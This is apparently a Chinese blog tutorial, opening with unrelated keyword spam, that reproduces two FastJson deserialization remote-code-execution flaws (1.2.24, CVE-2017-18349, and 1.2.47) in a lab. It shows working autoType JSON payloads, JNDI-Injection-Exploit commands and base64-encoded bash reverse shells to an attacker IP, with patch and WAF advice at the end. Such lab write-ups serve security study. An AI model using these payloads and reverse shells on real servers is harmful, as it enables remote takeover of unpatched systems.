遵义 网站建设,电商专员是做什么的,宁波网站建设明细报价,wordpress 钩子大全文章目录 FastJson 漏洞复现1. FastJson 1.2.24 反序列化导致任意命令执行漏洞1.1 漏洞描述1.2 漏洞原理1.3 漏洞复现1.3.1 环境启动1.3.2 漏洞检测1.3.3 漏洞验证 1.4 漏洞利用1.5 修复方案 2. Fastjson 1.2.47 远程命令执行漏洞2.1 漏洞描述2.2 漏洞复现2.2.1 环境启动2.2.2 … 文章目录 FastJson 漏洞复现1. FastJson 1.2.24 反序列化导致任意命令执行漏洞1.1 漏洞描述1.2 漏洞原理1.3 漏洞复现1.3.1 环境启动1.3.2 漏洞检测1.3.3 漏洞验证 1.4 漏洞利用1.5 修复方案 2. Fastjson 1.2.47 远程命令执行漏洞2.1 漏洞描述2.2 漏洞复现2.2.1 环境启动2.2.2 漏洞检测2.2.3 漏洞验证 2.3 漏洞利用2.4 修复方案 FastJson 漏洞复现
1. FastJson 1.2.24 反序列化导致任意命令执行漏洞
链接地址Fastjson 1.2.24 反序列化导致任意命令执行漏洞。
1.1 漏洞描述
说明内容漏洞编号CVE-2017-18349漏洞名称fastjson 1.2.24 反序列化导致任意命令执行漏洞漏洞评级高危影响范围1.2.24漏洞描述fastjson在解析json的过程中支持使用autoType来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。修复方案打补丁上设备升级组件
具体描述
FastJson是Alibaba的一款开源Json解析库可用于将Java对象转换为其Json表示形式也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头17年FastJson爆出的1.2.24反序列化漏洞。
关于FastJson1.2.24反序列化漏洞简单来说就是FastJson通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查而导致的。
1.2 漏洞原理
攻击者访问存在fastjson漏洞的目标靶机通过burpsuite抓包改包以json格式添加com.sun.rowset.JdbcRowSetlmpl 恶意信息发送给目标机。
存在漏洞的目标靶机对json反序列化的时候会执行我们构造的恶意信息(访问rmi服务器)靶机服务器就会向rmi服务器请求待执行命令。
rmi服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点提前将漏洞利用代码编译得到.class文件并上传至恶意站点)得到攻击者构造好的命令(创建文件、反弹shell等)
rmi将远程加载得到的class(恶意代码)作为响应返回给靶机服务器。
靶机执行了恶意代码被攻击者成功利用。
1.3 漏洞复现
1.3.1 环境启动 环境运行后访问http://your-ip:8090即可看到JSON格式的输出。 使用bp抓取数据包 我们向这个地址POST一个JSON对象即可更新服务端的信息
先转换为POST请求 然后发送一个JSON数据
{name:wuhu, age:20}如果直接发送会报500错误需要将Content-Type类型修改为JSON格式 重新放包即可。
这里就是提交一个JSON格式的数据到服务器后转换为对象然后服务器再通过FastJson将生成的对象以JSON格式来进行输出。
JSON–Object–JSON
1.3.2 漏洞检测
可以使用BurpSuite扩展Maskhe/FastjsonScan: 一个简单的Fastjson反序列化检测burp插件 (github.com)。
proxychains wget https://github.com/Maskhe/FastjsonScan/releases/download/1.0/FastjsonScan.jar下载成功后在BP中添加插件即可。 然后将数据包发送到插件 正在扫描 扫描成功发现漏洞然后会生成一个POC。 将生成的POC拷贝到我们之前抓取的数据包中。
{handsome:{type:Lcom.sun.rowset.JdbcRowSetImpl;,dataSourceName:rmi://p1rgv81zmbf1ogymvoqrw59dj4pudj.oastify.com/aaa,autoCommit:true}
}RMI概述Java RMI(Java Remote Method Invocation)Java远程方法调用是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机的不同进程中也可以运行在网络上的不同计算机中。
在网络传输的过程中。RMI中的对象是通过序列化方式进行编码传输的。这意味着RMI在接收经过序列化编码的对象后会进行反序列化。因此可以将RMI服务作为进行反序列化利用链的触发点。
1.3.3 漏洞验证
使用JNDI-Injection-Exploit工具链接地址JNDI-Injection-Exploit/README-CN.md at master · welk1n/JNDI-Injection-Exploit (github.com)。
开启RMI服务器
使用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/wuhu -A 192.168.188.1851.4 漏洞利用
开启服务器将之前构造的反弹Shell在 -C 后面的参数进行替换即可。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvOTk5OSAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.188.185kali监听9999端口 复制到指定位置然后放包即可
ldap://192.168.188.185:1389/1cmhtr监听成功 1.5 修复方案
修复 Fastjson 1.2.24 反序列化漏洞的最佳方法是将 Fastjson 更新到修复此漏洞的最新版本。Fastjson 团队已经修复了此漏洞并提供了补丁程序或更新版本。因此建议立即更新 Fastjson 到最新修复版本以确保应用程序不再受到此漏洞的影响。此外还应采取其他防护措施如输入验证、过滤和限制反序列化能力以提高应用程序的安全性。
2. Fastjson 1.2.47 远程命令执行漏洞
链接地址Fastjson 1.2.47 远程命令执行漏洞。
2.1 漏洞描述
说明内容漏洞编号漏洞名称Fastjson 1.2.47 远程命令执行漏洞漏洞评级高危影响范围1.2.47以及之前的所有版本漏洞描述Fastjson是阿里巴巴公司开源的一款json解析器其性能优越被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单而在1.2.48以前的版本中攻击者可以利用特殊构造的json字符串绕过白名单检测成功执行任意命令。修复方案打补丁上设备升级组件
具体描述
Fastjson提供了autotype功能允许用户在反序列化数据中通过“type”指定反序列化的类型其次Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法那么当组件开启了autotype功能并且反序列化不可信数据时攻击者可以构造数据使目标应用的代码执行流程进入特定类的特定setter或者getter方法中若指定类的指定方法中有可被恶意利用的逻辑也就是通常所指的“Gadget”则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中利用其缓存机制可实现对未开启autotype功能的绕过。
2.2 漏洞复现
2.2.1 环境启动 环境启动后访问http://your-ip:8090即可看到一个json对象被返回 使用bp抓取数据包 将content-type修改为application/json后可向其POST新的JSON对象后端会利用fastjson进行解析。 2.2.2 漏洞检测 将生成POC拷贝到抓取的数据包中。
{axin:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},is:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://s0tgwxk05ll1qvmz0lwr27u0prvhj6.oastify.com/aaa,autoCommit:true}
}2.2.3 漏洞验证
开启RMI服务器
使用方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/wuhu -A 192.168.188.185使用JDK 1.8中的ldap
ldap://192.168.188.185:1389/asdqfh查看tmp目录下是否有我们创建的wuhu文件。 通过查看后发现文件创建成功证明漏洞存在。
2.3 漏洞利用
构造反弹Shell命令
bash -i /dev/tcp/192.168.188.185/8888 01 # 将该命令做一个base64编码bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i}开启服务器将之前构造的反弹Shell在 -C 后面的参数进行替换即可。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xODUvODg4OCAwPiYx}|{base64,-d}|{bash,-i} -A 192.168.188.185同时kail监听8888端口 将ldap复制到指定位置然后放包即可
ldap://192.168.188.185:1389/wslvmi反弹成功 2.4 修复方案
升级Fastjson到最新版(1.2.68 新增了safemode, 彻底关闭autotype)WAF拦截过滤请求包中的 type, %u0040%u0074%u0079%u0070%u0065, \u0040type, \x04type等多种编码的autotype变形最少升级到1.2.48以上版本且关闭autotype选项